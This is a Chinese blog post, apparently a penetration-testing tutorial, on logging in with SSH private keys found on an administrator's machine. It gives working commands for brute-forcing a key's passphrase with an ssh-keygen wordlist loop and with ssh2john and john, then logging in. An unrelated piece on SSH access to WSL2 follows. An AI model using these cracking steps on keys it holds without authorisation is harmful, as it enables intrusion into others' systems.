通过ssh证书远程登录

在渗透中,经常会发现某管理员主机上保存了大量机器的公私钥用于ssh证书登录。这个时候可以通过这个证书进行远程登录。

先回顾下证书登录通常的配置方法

一、生成不带passphrase的公私钥证书实现免密登录:

root@kali:~/.ssh# ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:ptikL9/0CSXOM2QrUcWyohUYhI4ofdgIZraTJdBwTjI root@kali
The key's randomart image is:
+---[RSA 2048]----+
|Eooooo   ..      |
|.@o.. . ...      |
|==*+   ..o       |
|++= o o..        |
|. .. oo.S .      |
|    .= O +       |
|    o + O        |
|    .. + = .     |
|     oo . o      |
+----[SHA256]-----+

然后将生成的公钥拷贝到目标机器的authorized_keys文件中,可以手动拷贝,也可以通过ssh-copy-id命令进行

运行ssh-keygen就可以自动生成公私钥,如下代码所示。注意加粗部分:大部分情况下,管理员为了实现免密登录,会在输入passphrase的时候直接回车跳过,只需要把生成的ids_rsa.pub放到目标机器的.ssh/authorized_keys中,这样在进行远程登录的时候就不在需要任何操作,直接运行以下命令即可登录成功

ssh -i "ids_rsa文件路径"  "生成证书的用户名"@hostip

#一般ids_rsa会直接生成在/home/用户名/.ssh目录下,这时候不需要通过i参数指定ids_rsa文件的位置

这里authorized_keys文件权限要为600,.ssh文件夹权限要为700

二、passphrase的破解

但是,有些时候,管理员具备一定的安全意识,不会忽略这个passphrase,我们即使拿到了公私钥,没有这个passphrase也无法进行登录,这时候就需要进行破解,如下图所示

1、先查看这个公私钥适用的用户:

查看ids_rsa.pub文件,最后一段就是可以登录的用户,如下图所示,当前公私钥适用于user用户

2、获取到适用的用户后,可以通过以下脚本破解passphrase,这里需要破解的目标文件是ids_rsa

方法一:ssh-keygen爆破

cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | while read pass; do if ssh-keygen -c -C "user@forandsix2" -P $pass -f id_rsa &>/dev/null; then echo $pass; break; fi; done

方法二:使用john爆破

root@kali:~# ssh2john ./id_rsa > crack.txt
root@kali:~# john crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
root@kali:~# john crack.txt --show

*注:方法一适用于字典较小情况下进行爆破的情况,遇到大规模字典还是要使用方法二来进行,且前者需要知道目标机器的hostname

 3、通过破解出来的passphrase进行登录即可

ssh -i ids_rsa user@x.x.x.x

 

部分参考自:https://hk.saowen.com/a/c99a2e09078b41f5e7c0fae6db217cfffc79aa487ef77ed63bd17d80ef4b3e14

转载于:https://www.cnblogs.com/zlgxzswjy/p/10081873.html

Windows Subsystem for Linux 2(WSL2)是Windows 10操作系统中的一个功能,它允许用户在Windows中运行Linux操作系统。对于那些熟悉Linux的开发人员来说,WSL2是一种非常方便的方式来使用他们所熟悉的命令行界面和工具。 在WSL2中,用户可以使用多种方法进行远程访问。其中,其中之一是通过ssh远程登录SSH(Secure Shell)是一种安全的网络协议,允许用户在不安全的网络上进行加密通信。通过ssh远程登录WSL2,用户可以像在本地一样使用WSL2,同时还可以利用Windows的GUI界面。 要使用ssh远程登录WSL2,用户需要先启用ssh服务器。在Windows PowerShell或命令提示符中,可以使用以下命令来启动ssh服务器: ``` sudo apt update sudo apt install openssh-server sudo service ssh start ``` 安装和启动过程完成后,可以使用ssh客户端连接到WSL2。在本地电脑上,打开一个终端窗口并输入以下命令: ``` ssh [username]@[IP address of WSL2] ``` 其中,[username]是WSL2中的用户名,[IP address of WSL2]是WSL2的IP地址。默认情况下,WSL2会动态分配IP地址,可以使用以下命令在WSL2中查找其IP地址: ``` ip addr show eth0 | grep inet | awk '{print $2}' | cut -d / -f 1 ``` 使用这种方法进行远程访问,需要确保WSL2和Windows的防火墙设置正确。在Windows防火墙中,需要允许ssh流量通过。在WSL2中,需要允许ssh服务器通过WSL2的防火墙。可以使用以下命令配置WSL2防火墙: ``` sudo ufw allow ssh ``` 使用ssh远程登录WSL2时,还需要注意ssh客户端和服务端之间的证书问题。如果出现证书错误,需要检查证书是否正确配置。 总之,使用ssh远程登录WSL2是一种方便的方式,可让用户像在本地一样使用WSL2。通过配置Windows和WSL2的防火墙,并确保证书正确配置,用户可以安全、可靠地进行远程访问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值